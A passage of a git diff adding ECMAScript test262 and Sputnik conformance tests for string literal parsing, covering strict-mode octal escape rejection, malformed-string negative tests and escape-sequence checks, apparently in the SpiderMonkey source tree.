+ * @path ch07/7.8/7.8.4/7.8.4-3-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "a\\4";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-30-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-30-s.js
new file mode 100644
index 000000000..73cbdfedc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-30-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-30-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\' + '1";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-31-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-31-s.js
new file mode 100644
index 000000000..a33c8bbc6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-31-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-31-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\" + "1";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-32-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-32-s.js
new file mode 100644
index 000000000..312e870c3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-32-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-32-s.js
+ * @description Two OctalEscapeSequences in a String are not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\1\\1";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-33-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-33-s.js
new file mode 100644
index 000000000..639313c92
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-33-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-33-s.js
+ * @description Three OctalEscapeSequences in a String are not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\1\\2\\7";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-4-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-4-s.js
new file mode 100644
index 000000000..bd4e93fe6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-4-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-4-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "z\\7";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-5-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-5-s.js
new file mode 100644
index 000000000..1108364ab
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-5-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-5-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\00a";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-6-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-6-s.js
new file mode 100644
index 000000000..119415796
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-6-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-6-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\01z";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-7-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-7-s.js
new file mode 100644
index 000000000..254d2953e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-7-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-7-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "a\\03z";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-8-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-8-s.js
new file mode 100644
index 000000000..04e3eac9b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-8-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-8-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = " \\06";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-9-s.js b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-9-s.js
new file mode 100644
index 000000000..1efa2e57a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/7.8.4-9-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.8/7.8.4/7.8.4-9-s.js
+ * @description An OctalEscapeSequence is not allowed in a String under Strict Mode
+ * @onlyStrict
+ */
+
+
+function testcase()
+{
+ try
+ {
+ eval('"use strict"; var x = "\\07 ";');
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T1.js
new file mode 100644
index 000000000..02c823418
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "DoubleStringCharacters_opt"
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A1.1_T1.js
+ * @description DoubleStringCharacter :: SourceCharacter but not double-quote " or LineTerminator
+ * @negative
+ */
+
+//CHECK#1
+"""
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T2.js
new file mode 100644
index 000000000..bedbcea86
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.1_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "DoubleStringCharacters_opt"
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A1.1_T2.js
+ * @description DoubleStringCharacter :: SourceCharacter but not double-quote " or LineTerminator
+ * @negative
+ */
+
+//CHECK#1
+"
+"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T1.js
new file mode 100644
index 000000000..964e5be6c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: 'SingleStringCharacters_opt'
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A1.2_T1.js
+ * @description SingleStringCharacter :: SourceCharacter but not single-quote ' or LineTerminator
+ * @negative
+ */
+
+//CHECK#1
+'''
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T2.js
new file mode 100644
index 000000000..82890f5c2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A1.2_T2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: 'SingleStringCharacters_opt'
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A1.2_T2.js
+ * @description SingleStringCharacter :: SourceCharacter but not single-quote ' or LineTerminator
+ * @negative
+ */
+
+//CHECK#1
+'
+'
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T1.js
new file mode 100644
index 000000000..9a555b814
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of ENGLISH ALPHABET
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A2.1_T1.js
+ * @description Check ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+var unicode = ["\u0041", "\u0042", "\u0043", "\u0044", "\u0045", "\u0046", "\u0047", "\u0048", "\u0049", "\u004A", "\u004B", "\u004C", "\u004D", "\u004E", "\u004F", "\u0050", "\u0051", "\u0052", "\u0053", "\u0054", "\u0055", "\u0056", "\u0057", "\u0058", "\u0059", "\u005A"];
+var character = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"];
+for (var index = 0; index <= 25; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T2.js
new file mode 100644
index 000000000..f7e8ccfa3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.1_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of ENGLISH ALPHABET
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A2.1_T2.js
+ * @description Check ENGLISH SMALL ALPHABET
+ */
+
+//CHECK#a-z
+var hex = ["\u0061", "\u0062", "\u0063", "\u0064", "\u0065", "\u0066", "\u0067", "\u0068", "\u0069", "\u006A", "\u006B", "\u006C", "\u006D", "\u006E", "\u006F", "\u0070", "\u0071", "\u0072", "\u0073", "\u0074", "\u0075", "\u0076", "\u0077", "\u0078", "\u0079", "\u007A"];
+var character = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
+for (var index = 0; index <= 25; index++) {
+ if (hex[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T1.js
new file mode 100644
index 000000000..cefe28d57
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of RUSSIAN ALPHABET
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A2.2_T1.js
+ * @description Check RUSSIAN CAPITAL ALPHABET
+ */
+
+//CHECK#А-Я
+var unicode = ["\u0410", "\u0411", "\u0412", "\u0413", "\u0414", "\u0415", "\u0416", "\u0417", "\u0418", "\u0419", "\u041A", "\u041B", "\u041C", "\u041D", "\u041E", "\u041F", "\u0420", "\u0421", "\u0422", "\u0423", "\u0424", "\u0425", "\u0426", "\u0427", "\u0428", "\u0429", "\u042A", "\u042B", "\u042C", "\u042D", "\u042E", "\u042F", "\u0401"];
+var character = ["А", "Б", "В", "Г", "Д", "Е", "Ж", "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ы", "Ь", "Э", "Ю", "Я", "Ё"];
+for (var index = 0; index <= 32; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T2.js
new file mode 100644
index 000000000..09fc5877b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.2_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of RUSSIAN ALPHABET
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A2.2_T2.js
+ * @description Check RUSSIAN SMALL ALPHABET
+ */
+
+//CHECK#а-я
+var unicode = ["\u0430", "\u0431", "\u0432", "\u0433", "\u0434", "\u0435", "\u0436", "\u0437", "\u0438", "\u0439", "\u043A", "\u043B", "\u043C", "\u043D", "\u043E", "\u043F", "\u0440", "\u0441", "\u0442", "\u0443", "\u0444", "\u0445", "\u0446", "\u0447", "\u0448", "\u0449", "\u044A", "\u044B", "\u044C", "\u044D", "\u044E", "\u044F", "\u0451"];
+var character = ["а", "б", "в", "г", "д", "е", "ж", "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы", "ь", "э", "ю", "я", "ё"];
+for (var index = 0; index <= 32; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.3_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.3_T1.js
new file mode 100644
index 000000000..30e6133b7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A2.3_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Correct interpretation of DIGITS
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A2.3_T1.js
+ * @description Check DIGITS
+ */
+
+//CHECK#0-9
+var unicode = ["\u0030", "\u0031", "\u0032", "\u0033", "\u0034", "\u0035", "\u0036", "\u0037", "\u0038", "\u0039"];
+var character = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"];
+for (var index = 0; index <= 9; index++) {
+ if (unicode[index] !== character[index]) {
+ $ERROR('#' + character[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T1.js
new file mode 100644
index 000000000..f25e6538d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "\" or '\' is not correct
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A3.1_T1.js
+ * @description Checking if execution of "\" fails
+ * @negative
+ */
+
+//CHECK#1
+"\"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T2.js
new file mode 100644
index 000000000..82cf8717b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "\" or '\' is not correct
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A3.1_T2.js
+ * @description Checking if execution of "'\'" fails
+ * @negative
+ */
+
+//CHECK#1
+'\'
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T1.js
new file mode 100644
index 000000000..54aaf12c6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "\\\" or '\\\' is not correct
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A3.2_T1.js
+ * @description Checking if execution of "\\\" fails
+ * @negative
+ */
+
+//CHECK#1
+"\\\"
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T2.js
new file mode 100644
index 000000000..a26421e76
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A3.2_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StringLiteral :: "\\\" or '\\\' is not correct
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A3.2_T2.js
+ * @description Checking if execution of '\\\' fails
+ * @negative
+ */
+
+//CHECK#1
+'\\\'
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T1.js
new file mode 100644
index 000000000..9cac9a2d9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: SingleEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.1_T1.js
+ * @description SingleEscapeSequence :: one of b f n r t v
+ */
+
+//CHECK#1
+if (String.fromCharCode(0x0008) !== "\b") {
+ $ERROR('#1: String.fromCharCode(0x0008) === "\\b"');
+}
+
+//CHECK#2
+if (String.fromCharCode(0x0009) !== "\t") {
+ $ERROR('#2: String.fromCharCode(0x0009) === "\\t"');
+}
+
+//CHECK#3
+if (String.fromCharCode(0x000A) !== "\n") {
+ $ERROR('#3: String.fromCharCode(0x000A) === "\\n"');
+}
+
+//CHECK#4
+if (String.fromCharCode(0x000B) !== "\v") {
+ $ERROR('#4: String.fromCharCode(0x000B) === "\\v"');
+}
+
+//CHECK#5
+if (String.fromCharCode(0x000C) !== "\f") {
+ $ERROR('#5: String.fromCharCode(0x000C) === "\\f"');
+}
+
+//CHECK#6
+if (String.fromCharCode(0x000D) !== "\r") {
+ $ERROR('#6: String.fromCharCode(0x000D) === "\\r"');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T2.js
new file mode 100644
index 000000000..c99f669ef
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.1_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: SingleEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.1_T2.js
+ * @description SingleEscapeSequence :: one of ' " \
+ */
+
+//CHECK#1
+if (String.fromCharCode(0x0027) !== "\'") {
+ $ERROR('#1: String.fromCharCode(0x0027) === "\\\'"');
+}
+
+//CHECK#2
+if (String.fromCharCode(0x0022) !== '\"') {
+ $ERROR('#2: String.fromCharCode(0x0027) === \'\\\"\'');
+}
+
+//CHECK#3
+if (String.fromCharCode(0x005C) !== "\\") {
+ $ERROR('#3: String.fromCharCode(0x005C) === "\\\"');
+}
+
+//CHECK#4
+if ("\'" !== "'") {
+ $ERROR('#4: "\'" === "\\\'"');
+}
+
+//CHECK#5
+if ('\"' !== '"') {
+ $ERROR('#5: \'\"\' === \'\\\"\'');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T1.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T1.js
new file mode 100644
index 000000000..8abfdd031
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T1.js
+ * @description NonEscapeSequence :: ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+var CharacterCode = [0x0041, 0x0042, 0x0043, 0x0044, 0x0045, 0x0046, 0x0047, 0x0048, 0x0049, 0x004A, 0x004B, 0x004C, 0x004D, 0x004E, 0x004F, 0x0050, 0x0051, 0x0052, 0x0053, 0x0054, 0x0055, 0x0056, 0x0057, 0x0058, 0x0059, 0x005A];
+var NonEscapeCharacter = ["\A", "\B", "\C", "\D", "\E", "\F", "\G", "\H", "\I", "\J", "\K", "\L", "\M", "\N", "\O", "\P", "\Q", "\R", "\S", "\T", "\U", "\V", "\W", "\X", "\Y", "\Z"];
+for (var index = 0; index <= 25; index++) {
+ if (String.fromCharCode(CharacterCode[index]) !== NonEscapeCharacter[index]) {
+ $ERROR('#' + NonEscapeCharacter[index] + ' ');
+ }
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T2.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T2.js
new file mode 100644
index 000000000..660d2e62e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T2.js
@@ -0,0 +1,115 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T2.js
+ * @description NonEscapeSequence :: ENGLISH CAPITAL ALPHABET
+ */
+
+//CHECK#A-Z
+if ("A" !== "\A") {
+ $ERROR('#A');
+}
+
+if ("B" !== "\B") {
+ $ERROR('#B');
+}
+
+if ("C" !== "\C") {
+ $ERROR('#C');
+}
+
+if ("D" !== "\D") {
+ $ERROR('#D');
+}
+
+if ("E" !== "\E") {
+ $ERROR('#E');
+}
+
+if ("F" !== "\F") {
+ $ERROR('#F');
+}
+
+if ("G" !== "\G") {
+ $ERROR('#G');
+}
+
+if ("H" !== "\H") {
+ $ERROR('#H');
+}
+
+if ("I" !== "\I") {
+ $ERROR('#I');
+}
+
+if ("J" !== "\J") {
+ $ERROR('#J');
+}
+
+if ("K" !== "\K") {
+ $ERROR('#K');
+}
+
+if ("L" !== "\L") {
+ $ERROR('#L');
+}
+
+if ("M" !== "\M") {
+ $ERROR('#M');
+}
+
+if ("N" !== "\N") {
+ $ERROR('#N');
+}
+
+if ("O" !== "\O") {
+ $ERROR('#O');
+}
+
+if ("P" !== "\P") {
+ $ERROR('#P');
+}
+
+if ("Q" !== "\Q") {
+ $ERROR('#Q');
+}
+
+if ("R" !== "\R") {
+ $ERROR('#R');
+}
+
+if ("S" !== "\S") {
+ $ERROR('#S');
+}
+
+if ("T" !== "\T") {
+ $ERROR('#T');
+}
+
+if ("U" !== "\U") {
+ $ERROR('#U');
+}
+
+if ("V" !== "\V") {
+ $ERROR('#V');
+}
+
+if ("W" !== "\W") {
+ $ERROR('#W');
+}
+
+if ("X" !== "\X") {
+ $ERROR('#X');
+}
+
+if ("Y" !== "\Y") {
+ $ERROR('#Y');
+}
+
+if ("Z" !== "\Z") {
+ $ERROR('#Z');
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T3.js b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T3.js
new file mode 100644
index 000000000..39194063a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.4/S7.8.4_A4.2_T3.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * CharacterEscapeSequnce :: NonEscapeSequence
+ *
+ * @path ch07/7.8/7.8.4/S7.8.4_A4.2_T3.js
